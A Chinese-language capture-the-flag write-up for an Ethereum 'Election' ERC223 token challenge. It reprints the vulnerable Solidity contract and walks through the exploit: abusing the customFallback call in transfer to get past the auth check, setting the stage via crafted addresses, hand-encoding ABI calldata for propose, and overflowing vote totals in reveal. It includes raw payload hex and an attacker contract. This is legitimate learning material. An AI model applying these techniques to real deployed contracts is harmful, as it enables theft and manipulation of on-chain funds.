前言
開始刷歷年的區塊鏈ctf題目,遇到了這個考察storage的題目,學到了很多的東西,
WP
原始碼:
pragma solidity =0.6.12;
pragma experimental ABIEncoderV2;
interface IERC223 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function transfer(address to, uint value, bytes memory data) external returns (bool);
function transfer(address to, uint value, bytes memory data, string memory customFallback) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract ERC223 is IERC223 {
string public override name;
string public override symbol;
uint8 public override decimals;
uint public override totalSupply;
mapping (address => uint) private _balances;
//一個回呼函式,不清楚咋回事,后面再看看,
string private constant _tokenFallback = "tokenFallback(address,uint256,bytes)";
constructor (string memory _name, string memory _symbol) public {
name = _name;
symbol = _symbol;
decimals = 18;
}
function balanceOf(address account) public view override returns (uint) {
return _balances[account];
}
function transfer(address to, uint value) public override returns (bool) {
return _transfer(msg.sender, to, value, "", _tokenFallback);
}
function transfer(address to, uint value, bytes memory data) public override returns (bool) {
return _transfer(msg.sender, to, value, data, _tokenFallback);
}
function transfer(address to, uint value, bytes memory data, string memory customFallback) public override returns (bool) {
return _transfer(msg.sender, to, value, data, customFallback);
}
/* Helper functions */
function _transfer(address from, address to, uint value, bytes memory data, string memory customFallback) internal returns (bool) {
require(from != address(0), "ERC223: transfer from the zero address");
require(to != address(0), "ERC223: transfer to the zero address");
require(_balances[from] >= value, "ERC223: transfer amount exceeds balance");
_balances[from] -= value;
_balances[to] += value;
//判斷 to 是不是 一個合約,
//如果是就呼叫這個合約的customFallback方法,
if (_isContract(to)) {
(bool success,) = to.call{value: 0}(
abi.encodeWithSignature(customFallback, msg.sender, value, data)
);
assert(success);
}
emit Transfer(msg.sender, to, value, data);
return true;
}
function _mint(address to, uint value) internal {
//給address to 鑄幣,
require(to != address(0), "ERC223: mint to the zero address");
totalSupply += value;
_balances[to] += value;
emit Transfer(address(0), to, value, "");
}
function _isContract(address addr) internal view returns (bool) {
uint length;
assembly {
length := extcodesize(addr)
}
return (length > 0);
}
}
contract Election is ERC223 {
struct Proposal {
string name;
string policies;
bool valid;
}
struct Ballot {
address candidate;
uint votes;
}
uint randomNumber = 0;
bool public sendFlag = false; //6
address public owner; //6
uint public stage; //7
address[] public candidates; //8
bytes32[] public voteHashes; //9
mapping(address => Proposal) public proposals; //10
mapping(address => uint) public voteCount; //11
mapping(address => bool) public voted;
mapping(address => bool) public revealed;
event Propose(address, Proposal);
event Vote(bytes32);
event Reveal(uint, Ballot[]);
event SendFlag(address);
constructor() public ERC223("Election", "ELC") {
owner = msg.sender;
_setup();
}
modifier auth {
require(msg.sender == address(this) || msg.sender == owner, "Election: not authorized");
_;
}
function propose(address candidate, Proposal memory proposal) public auth returns (uint) {
require(stage == 0, "Election: stage incorrect");
require(!proposals[candidate].valid, "Election: candidate already proposed");
candidates.push(candidate);
proposals[candidate] = proposal;
emit Propose(candidate, proposal);
return candidates.length - 1;
}
function vote(bytes32 voteHash) public returns (uint) {
require(stage == 1, "Election: stage incorrect");
require(!voted[msg.sender], "Election: already voted");
voted[msg.sender] = true;
voteHashes.push(voteHash);
emit Vote(voteHash);
return voteHashes.length - 1;
}
function reveal(uint voteHashID, Ballot[] memory ballots) public {
require(stage == 2, "Election: stage incorrect");
require(!revealed[msg.sender], "Election: already revealed");
require(voteHashes[voteHashID] == keccak256(abi.encode(ballots)), "Election: hash incorrect");
revealed[msg.sender] = true;
uint totalVotes = 0;
for (uint i = 0; i < ballots.length; i++) {
address candidate = ballots[i].candidate;
uint votes = ballots[i].votes;
totalVotes += votes;
voteCount[candidate] += votes;
}
require(totalVotes <= balanceOf(msg.sender), "Election: insufficient tokens");
emit Reveal(voteHashID, ballots);
}
function getWinner() public view returns (address) {
require(stage == 3, "Election: stage incorrect");
uint maxVotes = 0;
address winner = address(0);
for (uint i = 0; i < candidates.length; i++) {
if (voteCount[candidates[i]] > maxVotes) {
maxVotes = voteCount[candidates[i]];
winner = candidates[i];
}
}
return winner;
}
function giveMeMoney() public {
require(balanceOf(msg.sender) == 0, "Election: you're too greedy");
_mint(msg.sender, 1);
}
function giveMeFlag() public {
require(msg.sender == getWinner(), "Election: you're not the winner");
require(proposals[msg.sender].valid, "Election: no proposal from candidate");
if (_stringCompare(proposals[msg.sender].policies, "Give me the flag, please")) {
sendFlag = true;
emit SendFlag(msg.sender);
}
}
/* Helper functions */
function _setup() public auth {
address Alice = address(0x9453);
address Bob = address(0x9487);
_setStage(0);
propose(Alice, Proposal("Alice", "This is Alice", true));
propose(Bob, Proposal("Bob", "This is Bob", true));
voteCount[Alice] = uint(-0x9453);
voteCount[Bob] = uint(-0x9487);
_setStage(1);
}
function _setStage(uint _stage) public auth {
stage = _stage & 0xff;
}
//比較a 和 b 是否相等,
function _stringCompare(string memory a, string memory b) internal pure returns (bool) {
return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b));
}
/* custom added functions */
function testdeet(address to, uint value, bytes memory data, string memory customFallback) pure public returns (bytes memory){
return abi.encodeWithSignature(customFallback, to, value, data);
}
function properEncode(address candidate, Proposal memory proposal, address t1, address t2) pure public {
}
function ballotEncode(Ballot[] memory ballots) pure public returns (bytes32){
return keccak256(abi.encode(ballots));
}
}
利用的是ERC223的代幣,大致的把原始碼給看一遍,總的來說這是一個選舉的合約,可以投票,選舉,選取優勝者,根據giveMeFlag()函式可以知道,想要得到flag需要msg.sender是winner,而且proposals[msg.sender].valid,而且msg.sender的policies必須是Give me the flag, please,
再看原始碼的話,發現stage變數記錄了選舉的各個階段,從0-3,但是只在初始化的時候呼叫了_setStage,將stage設定成1,之后并沒有再處理了,
而且還存在auth的檢驗:
modifier auth {
require(msg.sender == address(this) || msg.sender == owner, "Election: not authorized");
_;
}
有幾個函式都需要auth才可以操作,包括這個_setStage,
而且,因為最后的getflag需要proposals中有我們自己,但是整個合約除了初始化的時候添加了2個人,后續就沒有操作了,想要添加的話同樣需要auth:
function propose(address candidate, Proposal memory proposal) public auth returns (uint) {
因此單就這個合約而言,應該是打不動了,
再看看它的父合約,發現了transfer函式有點怪,最后還有一個引數customFallback,發現可以任意呼叫to中的方法:
if (_isContract(to)) {
(bool success,) = to.call{value: 0}(
abi.encodeWithSignature(customFallback, msg.sender, value, data)
);
assert(success);
}
再加上用的是call,因此msg.sender是呼叫者本身,這樣的話就可以繞過auth的限制,可以呼叫Election合約里的那些auth修飾的函式了,
但是還剩下一個問題是stage的變化,考慮到:
to.call{value: 0}(abi.encodeWithSignature(customFallback, msg.sender,value, data)
根據solidity的應用二進制介面說明這部分的知識,,如果customFallback是_setStage的話,實際傳過去的uint _stage,其實應該是msg.sender這部分的data,因此考慮到:
stage = _stage & 0xff;
需要4個合約,分別以0x00,0x01,0x02,0x03結尾的,之前也遇到過了,利用這個工具來尋找即可:
指定前后綴的合約
之后可以利用giveMeMoney函式來得到1塊錢,然后transfer那里轉一塊錢的同時利用call進行設定:

stage的問題解決了,接下來就是propost函式的問題了:
function propose(address candidate, Proposal memory proposal) public auth returns (uint) {
首先需要注意這里的應用二進制介面是這樣:
(address,(string,string,bool))
call的時候根據abi的那個函式處理后的進行執行,先是函式簽名,然后是address的值,然后是第二個引數的偏移量,然后是第一個string的偏移量,第二個string的偏移量,bool的值,然后是第一個string的length,第一個string的data,第二個string的length,第二個string的data,
因此構造的話,我們需要控制第二個string和bool,根據相關的知識構造出:
slot0 msg.sender/candidate
slot1 offset of Proposal 0x0000000000000000000000000000000000000000000000000000000000000040
slot2 offset of name 0x0000000000000000000000000000000000000000000000000000000000000060
slot3 offset of plicies 0x00000000000000000000000000000000000000000000000000000000000000a0
slot4 data of valid 0x0000000000000000000000000000000000000000000000000000000000000001
slot5 length of name 0x0000000000000000000000000000000000000000000000000000000000000004
slot6 data of name 0x66656e6700000000000000000000000000000000000000000000000000000000
slot7 length of policies 0x0000000000000000000000000000000000000000000000000000000000000018
slot8 data of policies 0x47697665206d652074686520666c61672c20706c656173650000000000000000
算上msg.sender隨便搞一個,根據testdeet函式給出的格式應該是這樣:
0xa3c39c3a000000000000000000000000638f1eac34329584e7ab7a14e9af4fc22c55cf000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000466656e6700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001847697665206d652074686520666c61672c20706c656173650000000000000000
想要:
if (_isContract(to)) {
(bool success,) = to.call{value: 0}(
abi.encodeWithSignature(customFallback, msg.sender, value, data)
);
assert(success);
}
這部分abi.encodeWithSignature得到的值和我們構造的一樣,分析一下容易得出,需要value是64,data是0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000466656e6700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001847697665206d652074686520666c61672c20706c656173650000000000000000
因此先要給msg.sender 64塊錢,假設我們的原本的賬號是要成為winner的,因此先給他轉錢:
contract Feng{
struct Ballot {
address candidate;
uint votes;
}
Election public target = Election(0x66E3f6a4d626bde2df8B6999CfE71ce6F3e166Cc);
function getMoney(uint max) public {
for(uint i = 0; i < max; i++){
Money m = new Money();
m.getMoney(address(this));
}
target.transfer(0x7D11f36fA2FD9B7A4069650Cd8A2873999263FB8, max, "", "");
}
function tokenFallback(address _v1,uint256 _v2,bytes memory _v3) public{
}
//data=0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000466656e6700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001847697665206d652074686520666c61672c20706c656173650000000000000000;
}
分2次,每次32塊錢,如果一次轉太多的話就會gas超限制了,
之后再攻擊,記得stage是0:

這樣就添加了proposal:

然后根據vote函式和reveal函式的邏輯,先利用ballotEncode函式算出voteHash,
這里構造的Ballot[]是這樣:
[["0x7D11f36fA2FD9B7A4069650Cd8A2873999263FB8","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],["0x0000000000000000000000000000000000009453","0x01"]]
自己的賬號,即未來的winner選票是2**255-1,另外一個人是1,因為這里:
totalVotes += votes;
voteCount[candidate] += votes;
}
require(totalVotes <= balanceOf(msg.sender), "Election: insufficient tokens");
最后可以利用整形溢位,就不再需要我們額外再給msg.sender轉錢了,雖然其實再轉錢也可以,所以這題薅羊毛或者整數上溢都行,

再vote過去;

選票就有了:

注意這些操作都需要改變stage,
再呼叫reveal函式傳過去,計算選票:

然后再giveMeFlag即可,
再放一下當時分析寫上注釋后的原始碼:
pragma solidity =0.6.12;
pragma experimental ABIEncoderV2;
interface IERC223 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function transfer(address to, uint value, bytes memory data) external returns (bool);
function transfer(address to, uint value, bytes memory data, string memory customFallback) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract ERC223 is IERC223 {
string public override name;
string public override symbol;
uint8 public override decimals;
uint public override totalSupply;
mapping (address => uint) private _balances;
//一個回呼函式,不清楚咋回事,后面再看看,
string private constant _tokenFallback = "tokenFallback(address,uint256,bytes)";
constructor (string memory _name, string memory _symbol) public {
name = _name;
symbol = _symbol;
decimals = 18;
}
function balanceOf(address account) public view override returns (uint) {
return _balances[account];
}
function transfer(address to, uint value) public override returns (bool) {
return _transfer(msg.sender, to, value, "", _tokenFallback);
}
function transfer(address to, uint value, bytes memory data) public override returns (bool) {
return _transfer(msg.sender, to, value, data, _tokenFallback);
}
//利用call可以繞過auth,然后可以呼叫任意的函式,嘗試控制引數,
//
function transfer(address to, uint value, bytes memory data, string memory customFallback) public override returns (bool) {
return _transfer(msg.sender, to, value, data, customFallback);
}
/* Helper functions */
function _transfer(address from, address to, uint value, bytes memory data, string memory customFallback) internal returns (bool) {
require(from != address(0), "ERC223: transfer from the zero address");
require(to != address(0), "ERC223: transfer to the zero address");
require(_balances[from] >= value, "ERC223: transfer amount exceeds balance");
_balances[from] -= value;
_balances[to] += value;
//判斷 to 是不是 一個合約,
//如果是就呼叫這個合約的customFallback方法,
if (_isContract(to)) {
(bool success,) = to.call{value: 0}(
abi.encodeWithSignature(customFallback, msg.sender, value, data)
);
assert(success);
}
emit Transfer(msg.sender, to, value, data);
return true;
}
function _mint(address to, uint value) internal {
//給address to 鑄幣,
require(to != address(0), "ERC223: mint to the zero address");
totalSupply += value;
_balances[to] += value;
emit Transfer(address(0), to, value, "");
}
function _isContract(address addr) internal view returns (bool) {
uint length;
assembly {
length := extcodesize(addr)
}
return (length > 0);
}
}
contract Election is ERC223 {
struct Proposal {
string name;
string policies;
bool valid;
}
struct Ballot {
address candidate;
uint votes;
}
uint randomNumber = 0;
bool public sendFlag = false; //6
address public owner; //6
uint public stage; //7
address[] public candidates; //8
bytes32[] public voteHashes; //9
mapping(address => Proposal) public proposals; //10
mapping(address => uint) public voteCount; //11
mapping(address => bool) public voted;
mapping(address => bool) public revealed;
event Propose(address, Proposal);
event Vote(bytes32);
event Reveal(uint, Ballot[]);
event SendFlag(address);
/*
考慮到_transfer里呼叫了call,而且call是讓msg.sender是呼叫者,因此可以繞過auth,
這里先構建一下攻擊合約試試,
*/
constructor() public ERC223("Election", "ELC") {
owner = msg.sender;
_setup();
}
modifier auth {
require(msg.sender == address(this) || msg.sender == owner, "Election: not authorized");
_;
}
//難點就是構造proposal了,想想,
/*
struct Proposal {
string name; 任意
string policies; 0x47697665206d652074686520666c61672c20706c65617365
bool valid; 1
}
(bool success,) = to.call{value: 0}(
abi.encodeWithSignature(customFallback, msg.sender, value, data)
);
slot0 msg.sender/candidate
slot1 offset of Proposal 0x0000000000000000000000000000000000000000000000000000000000000040
slot2 offset of name 0x0000000000000000000000000000000000000000000000000000000000000060
slot3 offset of plicies 0x00000000000000000000000000000000000000000000000000000000000000a0
slot4 data of valid 0x0000000000000000000000000000000000000000000000000000000000000001
slot5 length of name 0x0000000000000000000000000000000000000000000000000000000000000004
slot6 data of name 0x66656e6700000000000000000000000000000000000000000000000000000000
slot7 length of policies 0x0000000000000000000000000000000000000000000000000000000000000018
slot8 data of policies 0x47697665206d652074686520666c61672c20706c656173650000000000000000
0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000466656e6700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001847697665206d652074686520666c61672c20706c656173650000000000000000
0xede81b0b000000000000000000000000638f1eac34329584e7ab7a14e9af4fc22c55cf000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000466656e6700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001847697665206d652074686520666c61672c20706c656173650000000000000000
0xa3c39c3a000000000000000000000000638f1eac34329584e7ab7a14e9af4fc22c55cf000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000466656e6700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001847697665206d652074686520666c61672c20706c656173650000000000000000
propose(address, Proposal)
*/
function propose(address candidate, Proposal memory proposal) public auth returns (uint) {
require(stage == 0, "Election: stage incorrect");
require(!proposals[candidate].valid, "Election: candidate already proposed");
candidates.push(candidate);
proposals[candidate] = proposal;
emit Propose(candidate, proposal);
return candidates.length - 1;
}
function vote(bytes32 voteHash) public returns (uint) {
require(stage == 1, "Election: stage incorrect");
require(!voted[msg.sender], "Election: already voted");
voted[msg.sender] = true;
//bytes32[] public voteHashes;
voteHashes.push(voteHash);
emit Vote(voteHash);
return voteHashes.length - 1;
}
/*
struct Ballot {
address candidate;
uint votes;
}
*/
function reveal(uint voteHashID, Ballot[] memory ballots) public {
require(stage == 2, "Election: stage incorrect");
require(!revealed[msg.sender], "Election: already revealed");
require(voteHashes[voteHashID] == keccak256(abi.encode(ballots)), "Election: hash incorrect");
revealed[msg.sender] = true;
uint totalVotes = 0;
for (uint i = 0; i < ballots.length; i++) {
address candidate = ballots[i].candidate;
uint votes = ballots[i].votes;
totalVotes += votes;
voteCount[candidate] += votes;
}
require(totalVotes <= balanceOf(msg.sender), "Election: insufficient tokens");
emit Reveal(voteHashID, ballots);
}
function getWinner() public view returns (address) {
require(stage == 3, "Election: stage incorrect");
uint maxVotes = 0;
address winner = address(0);
for (uint i = 0; i < candidates.length; i++) {
if (voteCount[candidates[i]] > maxVotes) {
maxVotes = voteCount[candidates[i]];
winner = candidates[i];
}
}
return winner;
}
//balance不是問題,此處可以薅羊毛,
function giveMeMoney() public {
require(balanceOf(msg.sender) == 0, "Election: you're too greedy");
_mint(msg.sender, 1);
}
function giveMeFlag() public {
require(msg.sender == getWinner(), "Election: you're not the winner");
require(proposals[msg.sender].valid, "Election: no proposal from candidate");
if (_stringCompare(proposals[msg.sender].policies, "Give me the flag, please")) {
sendFlag = true;
emit SendFlag(msg.sender);
}
}
/* Helper functions */
function _setup() public auth {
address Alice = address(0x9453);
address Bob = address(0x9487);
_setStage(0);
propose(Alice, Proposal("Alice", "This is Alice", true));
propose(Bob, Proposal("Bob", "This is Bob", true));
voteCount[Alice] = uint(-0x9453);
voteCount[Bob] = uint(-0x9487);
_setStage(1);
}
//stage可控,但是這部分是由msg.sender的末尾控制的,因此這部分需要用特定的address來搞,
//生成以01,02,03結尾的地址即可,
//至此stage可控,
function _setStage(uint _stage) public auth {
stage = _stage & 0xff;
}
//比較a 和 b 是否相等,
function _stringCompare(string memory a, string memory b) internal pure returns (bool) {
return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b));
}
/* custom added functions */
function testdeet(address to, uint value, bytes memory data, string memory customFallback) pure public returns (bytes memory){
return abi.encodeWithSignature(customFallback, to, value, data);
}
function properEncode(address candidate, Proposal memory proposal, address t1, address t2) pure public {
}
//[["0x7D11f36fA2FD9B7A4069650Cd8A2873999263FB8","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],["0x0000000000000000000000000000000000009453","0x01"]]
function ballotEncode(Ballot[] memory ballots) pure public returns (bytes32){
return keccak256(abi.encode(ballots));
}
}
//47697665206d652074686520666c61672c20706c65617365
總結
這題相對來說代碼比較長,需要思考前后的邏輯,而且abi.encodeWithSignature那里的構造也是學到了很多,關于struct在應用二進制介面那里應該寫成元組也是學到了,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qukuanlian/278130.html
標籤:區塊鏈
下一篇:英語四級考試模擬訓練翻譯真題筆記
